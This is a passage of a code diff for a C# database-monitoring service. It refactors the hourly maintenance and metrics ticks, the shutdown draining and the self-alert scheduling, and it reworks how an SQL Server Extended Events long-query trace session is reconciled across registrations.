-                       "the gate releases the hold by itself once the backfill covers raw" was true only after
-                       a restart — a store on a stable build sat held indefinitely after a backfill that had
-                       worked, with the Retention Held alert still firing and reading like the backfill had
-                       failed. Same tick as the compression check (the constant's comment says why this cadence
-                       and why this order), each half failure-isolated inside its own method with its own
-                       catch, so a retention pass that throws or runs out its budget cannot skip the
-                       compression read and a compression fault cannot skip the retention pass. The Retention
-                       Held self-alert rides INSIDE the compression method and therefore reads the flags as
-                       they stood before this pass: a policy armed here shows as held on this tick's alert read
-                       and resolves on the next hour's, one tick of lag on the resolution edge that is stated
-                       rather than traded for #3575's phase. The first pass after startup fires within seconds
-                       of the start-path ensure (this stamp seeds at MinValue); that pass is deliberately not
-                       skipped — its "Retention re-evaluation:" line is the proof the hourly path is wired on
-                       this store, visible in the same log window an operator reads after a restart, and it
-                       costs twenty catalog rows and twenty chunk-pruned min() reads.
-
-                       THE HOURLY STORE-MAINTENANCE TICK, named. It is the home for every "we decided this at
-                       startup and never re-decided it" defect on the store side: #3812 and #3815 are its
-                       tenants, and #3816 (job self-heal covers compression only) and #3817 (store-object
-                       convergence only at startup) are queued as further ones — not built here. The contract
-                       a tenant signs: its own method, its own catch-all, awaited as its own statement in the
-                       gated block AFTER the compression read (the #3575 phase argument on
-                       s_compressionCheckInterval), in the order it appears; a new tenant is one more await
-                       line below this one. A tenant that CORRECTS the gate is the single exception and signs a
-                       different contract — it goes above the gate, not below the compression read, because
-                       inside it a false flag would block its own correction. #3815 is that case, and the gate
-                       has exactly one input, so there is no second one to write. No delegate list yet,
-                       deliberately — three tenants do not justify the indirection, and a list would hide the
-                       order the phase argument depends on. */
-                    await ReevaluateRetentionPoliciesAsync(stoppingToken);
-
-                    /* #3817: the FOURTH tenant, and the one that signs the contract the comment above spells
-                       out — its own method, its own catch-all, one awaited statement, LAST. The store-object
-                       convergence pass: every idempotent ensure the start path runs, re-run here, so one
-                       failed item heals within the hour instead of at the next restart. It is last for the
-                       same #3575 reason the retention pass is third: the compression read must sample the job
-                       catalog at :30 past the minute, and this pass — the heaviest of the four on a store
-                       that is NOT converged — must not be ahead of it pushing that sample toward the :MM:00
-                       instant the policies fire on. The ordering is pinned in RetentionReevaluationTests and
-                       TimescaleAvailabilityReprobeTests, both of which now name four tenants.
-
-                       Its first pass fires within seconds of the start-path pass (the tick's stamp seeds at
-                       MinValue), and that is deliberate for the reason #3812 gives about its own: the
-                       "Store object convergence:" line without the "at startup" prefix is the proof the
-                       hourly path is wired on THIS store, in the same log window an operator reads after a
-                       restart. On a converged store that pass costs catalog reads and two metadata ALTERs. */
-                    await ConvergeStoreObjectsAsync(stoppingToken);
-                }
-                else
-                {
-                    /* #3913: the same convergence pass on a store WITHOUT TimescaleDB, walking only the steps
-                       that run on every store shape (the Ungated and Tuning stages the start path already
-                       runs there): the baseline relations, the store's statement statistics, the composer's
-                       covering indexes. Before this, nothing re-ran on such a store between restarts, so a
-                       dropped fallback view, or an extension a DBA created by hand, waited for the next
-                       start. None of the compression-phase reasoning above applies, since a store without
-                       TimescaleDB has no policy jobs to sample. */
-                    await ConvergeStoreObjectsAsync(stoppingToken, timescaleAvailable: false);
-                }
+                TryStartStoreMaintenanceTick(token => RunStoreMaintenanceTickAsync(token), stoppingToken);
             }
 
             /* #2068: the store self-metrics sweep. Capacity forecasting previously required ad-hoc
@@ -3536,81 +4040,10 @@ would count its earlier events twice in the sweep band. */
             /* #4732: NextGridStamp writes at most one interval ahead, and s_storeMetricsInterval is the one it uses. */
             if (StampIsDue(_nextStoreMetricsUtc, s_storeMetricsInterval, DateTime.UtcNow))
             {
-                _nextStoreMetricsUtc = NextGridStamp(_nextStoreMetricsUtc, DateTime.UtcNow, s_storeMetricsInterval);
-
-                /* #4834: the longest single checkpoint sync the minute samples saw since the last tick, taken ONCE and
-                   here, so the window closes on the hour whatever the sweep below goes on to do. The sweep stores it on
-                   the hour's checkpointer row; the checkpointer evaluation and get_store_metrics both read it back from
-                   that row, so neither is handed a window. */
-                var checkpointWindow = _checkpointSyncSampler.TakeWindowMax();
-
                 /* #4012's review: the deadlock re-mask inside the sweep keys an alert whose report is gone under the
                    same log-hash key the runner's log-event runs share. */
                 _pgDeadlockRemaskKey = runner.LogHashKey;
-                await SweepStoreSelfMetricsAsync(checkpointWindow, stoppingToken);
-
-                /* #2674: right after the flush wrote the latest hour, evaluate whether any of our collectors
-                   regressed in cost on a target — a fleet-level self-alert, failure-isolated like the sweep. */
-                if (_selfAlerts is not null)
-                {
-                    try
-                    {
-                        await _selfAlerts.EvaluateCollectorCostAsync(_postgres!, stoppingToken);
-                    }
-                    catch (Exception ex) when (ex is not OperationCanceledException)
-                    {
-                        _logger.LogDebug(ex, "collector-cost self-alert evaluation failed");
-                    }
-
-                    /* #3783: the two store physical-health conditions the sweep just wrote the evidence for —
-                       the dimensions' TOAST utilisation (dormant until the store carries pg_freespacemap; the
-                       evaluator says why) and the checkpointer's last interval, differenced from the newest
-                       two checkpointer rows. Same tick as the sweep on purpose: the rows are seconds old, so
-                       the alert judges the hour the sweep measured rather than the one before it. Both
-                       master-gated inside and failure-isolated inside; the outer catch is the belt.
-                       #4834: the checkpointer check reads the hour's longest single sync from the row the
-                       sweep just wrote, the same value get_store_metrics publishes. */
-                    try
-                    {
-                        await _selfAlerts.EvaluateToastSlackAsync(_postgres!, stoppingToken);
-                        await _selfAlerts.EvaluateCheckpointerPressureAsync(_postgres!, stoppingToken);
-                    }
-                    catch (Exception ex) when (ex is not OperationCanceledException)
-                    {
-                        _logger.LogDebug(ex, "store TOAST slack / checkpointer pressure self-alert evaluation failed");
-                    }
-
-                    /* #3466 (lane 4): the fleet sweep's DAILY channel rollup — the delivery half the sweep
-                       engine deliberately does not have. Attempted on this same hourly tick because the
-                       ceiling is enforced inside (one post per trailing day, and only on a day with
-                       something to say — 23 of every 24 ticks cost one dictionary lookup); master-gated
-                       inside like every self-alert, so master-off delivers nothing while the sweeps keep
-                       publishing to the web feed. Deliberately NOT gated on FleetSweepEnabled: sweeps
-                       recorded before the switch went off are still the trailing day's record, and with the
-                       sweep off the store simply serves an empty day, which posts nothing. Failure-isolated
-                       like its sibling above. */
-                    try
-                    {
-                        await _selfAlerts.EvaluateFleetSweepRollupAsync(_postgres!, stoppingToken);
-                    }
-                    catch (Exception ex) when (ex is not OperationCanceledException)
-                    {
-                        _logger.LogDebug(ex, "fleet-sweep rollup evaluation failed");
-                    }
-
-                    /* #3712: the third daily document — the analysis singles digest, the once-a-day channel copy
-                       of the findings the corroboration gate routed away from the paging channels. Same hourly
-                       tick, same one-post-per-trailing-day ceiling enforced inside, same master gate inside,
-                       same failure isolation as the two siblings above. */
-                    try
-                    {
-                        await _selfAlerts.EvaluateAnalysisSinglesDigestAsync(_postgres!, stoppingToken);
-                    }
-                    catch (Exception ex) when (ex is not OperationCanceledException)
-                    {
-                        _logger.LogDebug(ex, "analysis singles digest evaluation failed");
-                    }
-                }
+                TryStartStoreMetricsTick(DateTime.UtcNow, _checkpointSyncSampler.TakeWindowMax, (window, token) => RunStoreMetricsTickAsync(window, token), stoppingToken);
             }
 
             try
@@ -3641,13 +4074,32 @@ because stoppingToken is already cancelled at this point. */
                 .ToList();
         }
 
-        if (inFlightSweeps.Count > 0)
+        if (_storeMaintenanceTick is { IsCompleted: false })
         {
-            await Task.WhenAny(
-                Task.WhenAll(inFlightSweeps),
-                Task.Delay(s_shutdownDrainBudget, CancellationToken.None));
+            inFlightSweeps.Add(_storeMaintenanceTick);
+        }
+
+        if (_storeMetricsTick is { IsCompleted: false })
+        {
+            inFlightSweeps.Add(_storeMetricsTick);
+        }
+
+        /* #5479: the self-alert pass is tracked like the ticks above, and ends on the same cancellation. */
+        if (_selfAlertPass is { IsCompleted: false })
+        {
+            inFlightSweeps.Add(_selfAlertPass);
         }
 
+        /* #5574: the perfmon_stats re-group loop ends on the same cancellation; its chunk in flight rolls back or is left
+           for the compression policy, and the loop never faults. */
+        if (_perfmonRegroupDrain?.Completion is { IsCompleted: false } regroupRun)
+        {
+            inFlightSweeps.Add(regroupRun);
+        }
+
+        /* #4938: the daily runs detached from those bodies join the wait inside DrainInFlightAsync. */
+        await DrainInFlightAsync(inFlightSweeps);
+
         /* #4130: drain the in-flight daily purge the same way as the per-server sweeps above, rather than
            abandoning it mid-DELETE. RunTrackedAsync's own try/catch swallows the OperationCanceledException
            that stoppingToken's cancellation raises inside PurgeAsync, so this await completes cleanly
@@ -3684,6 +4136,16 @@ start resumes exactly where the COPY committed. */
             /* Expected on shutdown. */
         }
 
+        /* The heartbeat observes the same token and swallows everything but cancellation (#5450). */
+        try
+        {
+            await heartbeatLoop;
+        }
+        catch (OperationCanceledException)
+        {
+            /* Expected on shutdown. */
+        }
+
         /* Drain the background baseline backfill the same way (#1757). It observes the same token, and its
            own body already swallows everything but cancellation, so this is about not leaving an unobserved
            Task behind — a backfill still running at shutdown is fine to abandon: TimescaleDB commits it in
@@ -3755,6 +4217,16 @@ it throws is observed rather than lost with the task. */
             /* Expected on shutdown. */
         }
 
+        /* And the slow-read writer (#5097): a record still queued at shutdown is dropped. */
+        try
+        {
+            await slowReadWriter;
+        }
+        catch (OperationCanceledException)
+        {
+            /* Expected on shutdown. */
+        }
+
         /* And the statement-text scrub (#4348), for the same reason. */
         try
         {
@@ -3785,8 +4257,11 @@ it throws is observed rather than lost with the task. */
             /* Expected on shutdown. */
         }
 
-        /* And the interval-wide BRIN index ensure (#4605), which absorbs its own failures. */
-        await intervalWideBrin;
+        /* And the Query Store read index ensures (#4605, #4952, #5507), which absorb their own failures. */
+        await queryStoreIndexes;
+
+        /* And the rollup-coverage warm (#4957), which also absorbs its own failures. */
+        await rollupCoverageWarm;
 
         _logger.LogInformation("PerformanceMonitor Darling collection loop stopped");
     }
@@ -3871,40 +4346,13 @@ permanently queued. */
                 return;
             }
 
-            /* Stage 4 service self-alerts (store-polled): collection-stopped is evaluated for EVERY server —
-               connected or not, and whether or not it has been seen online since this service started (#4757)
-               — because an unreachable server has stopped collecting, which is exactly the case a headless
-               service must page on. The evaluator judges its staleness from the later of the last success and
-               the service start, so a restart's stale rows do not false-alarm a healthy server. Capture-down
-               is evaluated only for a connected server. Own
-               30s cadence; the master alerts gate + edge-trigger live inside the evaluator. Runs ABOVE the
-               Runtime-null connect gate so a disconnected server is still checked. Connection lost/restored fire
-               on the connect edges in TryConnectAsync. (Uses the _postgres field — the loop-local `postgres` of
-               RunCollectionLoopAsync is out of scope in this extracted body.) */
-            if (StampIsDue(server.NextSelfAlertSweep, s_alertSweepInterval, DateTime.UtcNow))
-            {
-                server.NextSelfAlertSweep = DateTime.UtcNow.Add(s_alertSweepInterval);
-                await _selfAlerts!.EvaluateStoreAlertsAsync(
-                    _postgres!,
-                    server.Config.ServerId,
-                    server.Config.DisplayName,
-                    connected: server.Runtime is not null,
-                    stoppingToken);
-            }
-
-            /* #3285: user-authored custom-alert rules, above the connect gate (like the self-alerts) so a rule
-               reading the collected store still evaluates for a currently-disconnected server. Its own cadence;
-               null on deployments that cannot supply a viewer-role pool. */
-            if (_customAlertEvaluator is not null && StampIsDue(server.NextCustomAlertSweep, s_customAlertSweepInterval, DateTime.UtcNow))
-            {
-                server.NextCustomAlertSweep = DateTime.UtcNow.Add(s_customAlertSweepInterval);
-                await _customAlertEvaluator.EvaluateServerAsync(
-                    server.Config.ServerId,
-                    server.Config.StorageName,
-                    server.Config.DisplayName,
-                    stoppingToken);
-            }
-
+            /* #5479: the Stage 4 store-polled self-alerts (Collection Stopped, capture down, ...) and the custom-alert
+               rules (#3285) no longer run here. They ran at the top of this body, so a body the memory launch guard held
+               off, or one that never finished, silenced them: a fleet that had stopped collecting paged nobody for 25
+               hours. They are evaluated by the fleet-level pass the sweep loop launches every tick whether or not any body
+               launches (RunSelfAlertPassAsync), which is now the ONLY place that reads or writes a server's two alert
+               cadence stamps and calls the two evaluators for a server. Connection lost/restored still fire on the
+               connect edges in TryConnectAsync. */
             if (server.Runtime is null)
             {
                 await TryConnectAsync(server, runner, config, connectAttempt, stoppingToken);
@@ -3918,6 +4366,10 @@ await _customAlertEvaluator.EvaluateServerAsync(
                never dispatched by RunDueCollectorsAsync and so the DROP-on-disable has nowhere else to run. */
             await ReconcileLongQueryTraceAsync(server, runner, stoppingToken);
 
+            /* #4961: the always-on deadlock and blocked-process sessions are ensured at connect and then once an hour, so a
+               session dropped from outside comes back within the hour. */
+            await EnsureAlwaysOnXeSessionsAsync(server, runner, DateTime.UtcNow, _logger, stoppingToken);
+
             await RunDueCollectorsAsync(server, runner, stoppingToken);
 
             /* After the server's collector sweep: evaluate alerts against the freshly collected store — on
@@ -3995,9 +4447,13 @@ retries on its next sweep exactly like a failed collector. */
     /// <summary>
     /// Reconciles the OPT-IN long-query completion XE session (#1496) to its resolved enabled flag, once
     /// the desired state differs from what was last applied to this server (tracked in
-    /// <see cref="ServerLoopState.LongQueryTraceApplied"/> so steady state — a default-off collector —
-    /// opens no connection at all). Enabling creates the server-side session; disabling drops it. A
-    /// failure leaves the applied state unchanged so the next sweep retries, and never breaks the sweep.
+    /// <see cref="ServerLoopState.LongQueryTraceApplied"/>, and on Azure SQL Database in
+    /// <see cref="ServerLoopState.LongQueryTraceAppliedKey"/> too, so steady state — a default-off
+    /// collector — opens no connection at all). Enabling creates the session; disabling drops it. While
+    /// the trace is on, the create side runs again once an hour, so a session dropped from outside comes
+    /// back. A failure leaves the applied state unchanged so the next sweep retries (a failed drop on Azure
+    /// SQL Database up to <see cref="LongQueryTraceDatabases.DropAttemptCap"/> times in a row, then once
+    /// an hour), and never breaks the sweep.
     /// </summary>
     private async Task ReconcileLongQueryTraceAsync(ServerLoopState server, DarlingCollectorRunner runner, CancellationToken cancellationToken)
     {
@@ -4020,31 +4476,334 @@ EVERY sweep forever (~1,440 warnings/day/server, the same order as the defect th
         var serverId = server.Config.ServerId;
         var enabled = StoreConfigProvider.ResolveSchedule("long_query_completions", serverId, _scheduleOverrides).Enabled;
 
-        if (server.LongQueryTraceApplied == enabled)
+        /* Azure SQL Database: the other registrations of this logical server, so a drop leaves a database where one
+           of them keeps the session. Read from the same live registry the separately monitored list comes from. */
+        IReadOnlyList<LongQueryTraceRegistration> registrations = Array.Empty<LongQueryTraceRegistration>();
+        IReadOnlyList<string> serverSeparatelyMonitored = Array.Empty<string>();
+        if (server.Runtime.Target.IsAzureSqlDb)
         {
-            return;
+            var live = _registryState.Read()?.Servers;
+            registrations = LongQueryTraceRegistrations(
+                server.Runtime.Config.Host,
+                live,
+                otherId => StoreConfigProvider.ResolveSchedule("long_query_completions", otherId, _scheduleOverrides).Enabled,
+                otherId => runner.DatabaseScopeFor(LongQueryCompletionsCollector.Instance.Name, otherId));
+            serverSeparatelyMonitored = LongQueryTraceServerSeparatelyMonitored(server.Runtime.Config.Host, live);
         }
 
-        try
+        /* #4961: where the session is the server's own (every engine but Azure SQL Database), the drop while the trace is off
+           would stop the trace another registration of this install keeps on the same instance. The guard that says so is a
+           function, resolved only when a drop is about to run, so a server whose trace is on, or already reconciled off,
+           reads no registry and no state. Each registration's setting is its own override, else the install's default. */
+        Func<Task<LongQueryTraceInstanceGuard>>? instanceGuard = null;
+        if (!server.Runtime.Target.IsAzureSqlDb)
         {
-            var partialNote = await DarlingXeSessions.ReconcileLongQueryCompletionsAsync(server.Runtime, runner, enabled, _logger, cancellationToken);
-            server.LongQueryTraceApplied = enabled;
-
-            /* #3754: a reconcile that returned is one the session exists after - everywhere, or (Azure)
-               everywhere it could. Clear the fault, and carry the partial note if there was one. Nulled
-               rather than left alone on the DISABLED arm: the collector is not dispatched while disabled,
-               so a stale note from an earlier enabled reconcile must not be waiting when it is re-enabled
-               and the next reconcile (which runs first, in this same sweep) has already replaced it. */
-            server.LongQueryTraceFault = null;
-            server.LongQueryTracePartialNote = enabled ? partialNote : null;
+            instanceGuard = () => LongQueryTraceInstanceGuardFor(
+                serverId,
+                _registryState.Read()?.Servers,
+                otherId => StoreConfigProvider.ResolveSchedule("long_query_completions", otherId, _scheduleOverrides).Enabled,
+                (id, carrier) => runner.GetCollectorStateAsync(id, carrier, cancellationToken));
         }
-        catch (Exception ex) when (ex is not OperationCanceledException)
-        {
-            _logger.LogWarning("[{Server}] Failed to reconcile the long-query completion XE session: {Message}",
-                server.Config.DisplayName, ex.Message);
 
-            /* #3754: while ENABLING, a throw means the session could not be created where the collector
-               will read - the one CREATE on-prem, or every database on Azure SQL DB (the Azure arm throws
+        await ReconcileLongQueryTraceAsync(server, runner, enabled, registrations, serverSeparatelyMonitored, DateTime.UtcNow, _logger, cancellationToken, instanceGuard);
+    }
+
+    /// <summary>
+    /// The registrations of one logical server, for <see cref="LongQueryTraceDatabases.KeptElsewhere"/>: each live
+    /// registration on <paramref name="host"/>, with whether its long-query trace is on, its exclusions and the
+    /// trace's database scope (empty = every database). The registry holds only monitored servers, so each one is
+    /// enabled.
+    /// </summary>
+    internal static IReadOnlyList<LongQueryTraceRegistration> LongQueryTraceRegistrations(
+        string host,
+        IReadOnlyList<MonitoredServer>? live,
+        Func<int, bool> traceOn,
+        Func<int, IReadOnlyList<string>> databaseScope)
+    {
+        if (live is null)
+        {
+            return Array.Empty<LongQueryTraceRegistration>();
+        }
+
+        var hostKey = host.Trim();
+        return live
+            .Where(other => string.Equals(other.Host.Trim(), hostKey, StringComparison.OrdinalIgnoreCase))
+            .Select(other =>
+            {
+                var scope = databaseScope(other.ServerId);
+                return new LongQueryTraceRegistration(
+                    other.ServerId.ToString(CultureInfo.InvariantCulture),
+                    other.Host,
+                    other.Database,
+                    Enabled: true,
+                    TraceOn: traceOn(other.ServerId),
+                    other.ExcludedDatabases.ToList(),
+                    scope.Count == 0 ? null : scope);
+            })
+            .ToList();
+    }
+
+    /// <summary>
+    /// The databases monitored as their own servers on <paramref name="host"/>'s logical server, as that server's
+    /// registration sees them (<see cref="AzureMasterScope.SeparatelyMonitoredDatabases"/>). The same list for
+    /// every registration of the server, including one that names a database: it says which databases a logical
+    /// server's registration leaves out, for <see cref="LongQueryTraceDatabases.KeptElsewhere"/>. No registration's
+    /// id is empty, so the empty self id leaves none of them out.
+    /// </summary>
+    internal static IReadOnlyList<string> LongQueryTraceServerSeparatelyMonitored(string host, IReadOnlyList<MonitoredServer>? live) =>
+        AzureMasterScope.SeparatelyMonitoredDatabases(
+            isAzureSqlDb: true, selfId: string.Empty, host, database: null, LiveAlertTargets(live));
+
+    /// <summary>
+    /// #4961: where the session is the server's own (every engine but Azure SQL Database), this registration's last-known
+    /// <c>@@SERVERNAME</c> beside the other registrations of this install that could keep the session on the same instance
+    /// (<see cref="LongQueryTraceInstanceGuard"/>): each SQL Server registration in the live registry, which holds only the
+    /// monitored servers, whose long-query trace is on. A PostgreSQL registration holds no Extended Events session, so it is
+    /// none. <paramref name="traceOn"/> is the effective setting, a registration's own override or else the install's
+    /// default. The names come from the identity row a wait_stats or cpu_utilization run persisted
+    /// (<see cref="ServerEpoch.LastKnownNameAsync"/>), and are read only when another registration could keep the session,
+    /// so an install with no other trace on reads none. With no name of its own this registration matches nothing, so the
+    /// names of the others are not read either, and the drop runs as before. Lite's twin is
+    /// <c>RemoteCollectorService.LongQueryTraceInstanceGuardFor</c>.
+    /// </summary>
+    /// <param name="serverId">This registration's store id.</param>
+    /// <param name="live">The live registry, or null when none has been published yet.</param>
+    /// <param name="traceOn">Whether a registration's long-query trace is on, by its store id.</param>
+    /// <param name="readCarrierState">Reads one carrier collector's persisted state for a registration, by its store id.</param>
+    internal static async Task<LongQueryTraceInstanceGuard> LongQueryTraceInstanceGuardFor(
+        int serverId,
+        IReadOnlyList<MonitoredServer>? live,
+        Func<int, bool> traceOn,
+        Func<int, string, Task<Dictionary<string, string>>> readCarrierState)
+    {
+        ArgumentNullException.ThrowIfNull(traceOn);
+        ArgumentNullException.ThrowIfNull(readCarrierState);
+
+        var candidates = (live ?? Array.Empty<MonitoredServer>())
+            .Where(other => other.ServerId != serverId && !other.IsPostgres && traceOn(other.ServerId))
+            .ToList();
+        if (candidates.Count == 0)
+        {
+            return LongQueryTraceInstanceGuard.NoKeepers;
+        }
+
+        var ownName = await ServerEpoch.LastKnownNameAsync(carrier => readCarrierState(serverId, carrier));
+        var keepers = new List<LongQueryTraceInstance>(candidates.Count);
+        foreach (var other in candidates)
+        {
+            var otherId = other.ServerId;
+            var name = ownName is null ? null : await ServerEpoch.LastKnownNameAsync(carrier => readCarrierState(otherId, carrier));
+            keepers.Add(new LongQueryTraceInstance(Enabled: true, TraceOn: true, name));
+        }
+
+        return new LongQueryTraceInstanceGuard(ownName, keepers);
+    }
+
+    /// <summary>
+    /// #4961: a SQL Server restart stops the long-query trace's session, because the per-install session is created
+    /// with <c>STARTUP_STATE = OFF</c>, and a stopped session reads as a quiet one. When a collector run saw the
+    /// instance's identity move (<see cref="ServerEpoch.IdentityChangesMeasurement"/>: the start time, or the name
+    /// after a failover), this clears the long-query latch and its hourly create clock, so the next sweep runs the
+    /// whole reconcile and starts the session, instead of waiting for the hourly pass. Returns true when it cleared.
+    /// </summary>
+    internal static bool ForgetLongQueryTraceLatchOnRestart(ServerLoopState server, IReadOnlyList<CollectorMeasurement> measurements)
+    {
+        ArgumentNullException.ThrowIfNull(server);
+        ArgumentNullException.ThrowIfNull(measurements);
+
+        if (!measurements.Any(m => string.Equals(m.Label, ServerEpoch.IdentityChangesMeasurement, StringComparison.Ordinal) && m.Value > 0))
+        {
+            return false;
+        }
+
+        server.ForgetLongQueryTraceLatch();
+        return true;
+    }
+
+    /// <summary>
+    /// The half of <see cref="ReconcileLongQueryTraceAsync(ServerLoopState, DarlingCollectorRunner, CancellationToken)"/> that
+    /// runs after the engine gate and the schedule: it decides whether the trace needs reconciling, runs it, and records
+    /// the outcome on the loop state. Static, with the enabled flag and the time passed in, so a test can drive it.
+    /// </summary>
+    internal static async Task ReconcileLongQueryTraceAsync(
+        ServerLoopState server,
+        DarlingCollectorRunner runner,
+        bool enabled,
+        IReadOnlyList<LongQueryTraceRegistration> registrations,
+        IReadOnlyList<string> serverSeparatelyMonitored,
+        DateTime utcNow,
+        ILogger logger,
+        CancellationToken cancellationToken,
+        Func<Task<LongQueryTraceInstanceGuard>>? instanceGuard = null)
+    {
+        /* #4961: a removed server's sweep that was already running reaches here after the removal retired the server and
+           dropped its session, and a create now would outlive the server. */
+        if (server.Runtime is null || server.Retired)
+        {
+            return;
+        }
+
+        /* On Azure SQL Database the trace follows the monitored set, so the latch also holds what that set
+           depended on: the scope the read loop resolves (the runner's own accessor, not a copy), the exclusions,
+           and the databases monitored as their own servers. Any change re-runs the reconcile, which drops the
+           session from a database newly left out. The co-owners are there too: a drop skipped because another
+           registration kept the session runs once that one turns its trace off. */
+        var stateKey = server.Runtime.Target.IsAzureSqlDb
+            ? LongQueryTraceDatabases.StateKey(
+                enabled,
+                runner.DatabaseScopeFor(LongQueryCompletionsCollector.Instance.Name, server.Runtime.ServerId),
+                server.Runtime.Config.ExcludedDatabases,
+                runner.SeparatelyMonitoredDatabasesFor(server.Runtime),
+                LongQueryTraceDatabases.CoOwners(
+                    server.Runtime.ServerId.ToString(CultureInfo.InvariantCulture),
+                    server.Runtime.Config.Host,
+                    registrations,
+                    serverSeparatelyMonitored))
+            : null;
+
+        /* Latched, the reconcile runs again only on the hour. The whole pass runs when the cleanup's attempt after the
+           cap is due. Otherwise, while the trace is on, the create side runs alone, so a session dropped from outside
+           comes back: the read returns no rows for an absent session, the same as for a quiet one. The drop side
+           runs once per connect, per change of the state key, or per attempt after the cap. */
+        LongQueryTracePass pass;
+        if (server.LongQueryTraceApplied != enabled
+            || !string.Equals(server.LongQueryTraceAppliedKey, stateKey, StringComparison.Ordinal))
+        {
+            pass = LongQueryTracePass.Full;
+        }
+        else if (server.LongQueryTraceDropRetry.RetryDue(stateKey ?? string.Empty, utcNow))
+        {
+            pass = LongQueryTracePass.RetryAfterCap;
+        }
+        else if (enabled
+                 && server.LongQueryTraceAppliedAtUtc is { } appliedAt
+                 && utcNow - appliedAt >= LongQueryTraceDatabases.RetryInterval)
+        {
+            pass = LongQueryTracePass.CreateOnly;
+        }
+        else
+        {
+            return;
+        }
+
+        /* #4964: the pass decides its log level once, from what the passes before it did. A create that has already
+           warned logs its failure again at Debug, in the reconcile's own lines and in the catch below. */
+        var createFailureWarned = enabled && server.LongQueryTraceCreateWarned;
+
+        try
+        {
+            var outcome = new LongQueryTraceReconcileOutcome();
+            var partialNote = await DarlingXeSessions.ReconcileLongQueryCompletionsAsync(
+                server.Runtime, runner, enabled, pass, registrations, serverSeparatelyMonitored, createFailureWarned, logger, cancellationToken, instanceGuard, outcome);
+
+            /* #4961: a start the replica refused just after this reconcile created the definition (it does not show it yet) is
+               not applied: the latch stays where it was, so the next sweep tries again and starts the session, instead of the
+               retry waiting for the hourly create pass. */
+            if (!outcome.StartPending)
+            {
+                server.LongQueryTraceApplied = enabled;
+                server.LongQueryTraceAppliedKey = stateKey;
+                server.LongQueryTraceAppliedAtUtc = utcNow;
+            }
+
+            /* Only a pass that ran the cleanup ends its retries: the create side alone leaves the hourly attempt. */
+            if (pass != LongQueryTracePass.CreateOnly)
+            {
+                server.LongQueryTraceDropRetry.Reset();
+            }
+
+            /* #3754: a reconcile that returned is one the session exists after - everywhere, or (Azure)
+               everywhere it could. Clear the fault, and carry the partial note if there was one. Nulled
+               rather than left alone on the DISABLED arm: the collector is not dispatched while disabled,
+               so a stale note from an earlier enabled reconcile must not be waiting when it is re-enabled
+               and the next reconcile (which runs first, in this same sweep) has already replaced it. */
+            server.LongQueryTraceFault = null;
+            server.LongQueryTracePartialNote = enabled ? partialNote : null;
+
+            /* #4964: a create that succeeded ends the run of failures, so the next one warns again. */
+            server.LongQueryTraceCreateWarned = false;
+        }
+        catch (LongQueryTraceDropException ex)
+        {
+            /* #4964: only the drop failed, so the create side finished: its run of failures is over. */
+            server.LongQueryTraceCreateWarned = false;
+
+            /* A drop failed: on Azure SQL Database, in some databases or in listing them, and on every other engine, the
+               server's own (#4964). While enabling, the
+               create side had finished, so the fault clears and its partial note stands. The latch stays unset so
+               the next sweep tries again, until the cap: then the reconcile counts as applied, and one warning
+               names the databases where the session may remain. After that, one attempt an hour, logged at Debug,
+               so the warning is not repeated. */
+            if (enabled)
+            {
+                server.LongQueryTraceFault = null;
+                server.LongQueryTracePartialNote = ex.CreateNote;
+                server.LongQueryTraceAppliedAtUtc = utcNow;
+            }
+
+            switch (server.LongQueryTraceDropRetry.RecordFailure(stateKey ?? string.Empty, utcNow))
+            {
+                case LongQueryTraceDropOutcome.GaveUp:
+                    server.LongQueryTraceApplied = enabled;
+                    server.LongQueryTraceAppliedKey = stateKey;
+                    logger.LogWarning("[{Server}] {Message}", server.Config.DisplayName,
+                        LongQueryTraceDatabases.GiveUpWarning(ex, " It also tries again after it reconnects."));
+                    break;
+                case LongQueryTraceDropOutcome.TryAgainInAnHour:
+                    logger.LogDebug("[{Server}] {Message} The next attempt is in an hour.", server.Config.DisplayName, ex.Message);
+                    break;
+                default:
+                    logger.LogWarning("[{Server}] {Message} The next sweep tries again.", server.Config.DisplayName, ex.Message);
+                    break;
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* #4964: the first failure of a create that cannot succeed logs at Warning. The sweeps after it retry the
+               create just the same, and record the fault just the same below, but log at Debug until a create succeeds
+               or the server reconnects. */
+            /* #4961: a read-only database's refusal was already logged where it happened, with why and what to change. */
+            var readOnlyRefusal = enabled && DarlingXeSessions.IsReadOnlyDatabaseRefusal(ex);
+            /* #5378: a login that was told no (error 15247, the other denial numbers) stays told no until it is granted
+               something, so the create is not re-run on every sweep: it backs off exactly like the read-only refusal above,
+               to the hourly create pass, and a reconnect or a change of the state key tries again at once. */
+            var permissionDenied = enabled && DarlingXeSessions.ErrorNumbersOf(ex).Any(SqlServerPermissionErrors.IsPermissionDenied);
+            logger.Log(createFailureWarned || readOnlyRefusal ? LogLevel.Debug : LogLevel.Warning,
+                "[{Server}] Failed to reconcile the long-query completion XE session: {Message}",
+                server.Config.DisplayName, AlwaysOnXeSessions.DescribeFailure(ex));
+            server.LongQueryTraceCreateWarned = enabled;
+
+            /* #4961: a read-only database stays read-only until the registration or the database changes, so a create it
+               refused is not tried again on every sweep. The latch counts the reconcile as applied for this state: the next
+               attempt is the hourly create pass, logged at Debug, and a reconnect or a change of the state key runs the
+               whole reconcile again. The fault below stays set, so every run still records it. */
+            if (readOnlyRefusal || permissionDenied)
+            {
+                server.LongQueryTraceApplied = enabled;
+                server.LongQueryTraceAppliedKey = stateKey;
+                server.LongQueryTraceAppliedAtUtc = utcNow;
+            }
+
+            /* A pass that ran and threw must move its hourly clock, or every later sweep is another pass and another
+               warning, with no cap. The full pass keeps its retry on each sweep: the latch is still unset. The hourly
+               create pass waits an hour. The attempt after the cap waits an hour too, and the create side it ran
+               counts as the hourly create pass, as in the drop-failure arm above. The fault below stays set until a
+               pass succeeds. */
+            if (pass == LongQueryTracePass.CreateOnly)
+            {
+                server.LongQueryTraceAppliedAtUtc = utcNow;
+            }
+            else if (pass == LongQueryTracePass.RetryAfterCap)
+            {
+                server.LongQueryTraceDropRetry.RecordFailure(stateKey ?? string.Empty, utcNow);
+                if (enabled)
+                {
+                    server.LongQueryTraceAppliedAtUtc = utcNow;
+                }
+            }
+
+            /* #3754: while ENABLING, a throw means the session could not be created where the collector
+               will read - the one CREATE on-prem, or every database on Azure SQL DB (the Azure arm throws
                only for all-refused). Record it so this sweep's run of the collector is classified
                SESSION_MISSING rather than dispatched to read an absent session as zero rows. The database
                name rides on the exception where the Azure arm stamped one (#2997); on-prem there is no
@@ -4054,9 +4813,16 @@ buys is the whole of the remedy. */
             if (enabled)
